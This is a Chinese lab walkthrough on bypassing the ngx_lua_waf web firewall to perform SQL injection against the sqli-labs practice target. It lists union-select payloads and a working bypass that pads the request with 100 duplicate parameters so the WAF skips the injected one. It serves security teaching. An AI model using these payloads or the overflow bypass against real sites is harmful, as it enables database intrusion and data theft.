WAF - SQL注入绕过ngx_lua_waf 靶场实战

实验介绍

ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙 ,代码很简单,开发初衷主要 是使用简单,高性能和轻量级

 

实验目的

1. 掌握sql注入绕过ngx_lua_waf的方法与技巧

2. 了解 ngx_lua_waf 过滤方式

 

靶场环境

LNMP一键安装包+ngx_lua_waf

sqli-labs-master靶场+waf

 

实验步骤

 

第一步:

我们先来判断注入点

1' and 1=1 --+       不拦截

1' and 1=2 --+       不拦截

 

第二步:

既然不拦截,我们再来看看order by

1' order by 3 --+          不拦截

order by 都不拦截,这个waf有点不行啊

 

 

第三步:

既然order by 都不拦截,再来看看select

-1' union select 1,2,3 --+     拦截

 

 

 

第四步:

select终于拦截了,我们来尝试绕过

-1' /*!union/**/select*/ 1,2,3 --+         拦截

-1' /*!50000/*!union/**/select*/*/ 1,2,3 --+            拦截

看来这些都无法绕过看来我们要换一种方式了

ngx_lua_waf默认情况下,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,只能获取前100个参数,当提交第 101个参数时,uri参数溢出,无法正确获取第100以后的参数值,基于ngx_lua开发的安全防护,无法对攻击者提交 的第100个以后的参数进行有效安全检测,从而绕过安全防御。

 

 

第五步:

既然知道了,我们再来添加参数来绕过把

1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=-1' union select 1,2,3 --+                       

不拦截

PS:在最后一个参数加上闭合

 

 

第六步:

爆数据库名

database()都不拦了,看来他是对100个参数以后的不拦截了,看来后面的注入就和普通的联合注入是一样的了

 

 

第七步:

使用联合查询爆出来了表

既然后面的和联合查询一样,这里就不爆出所有内容了

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值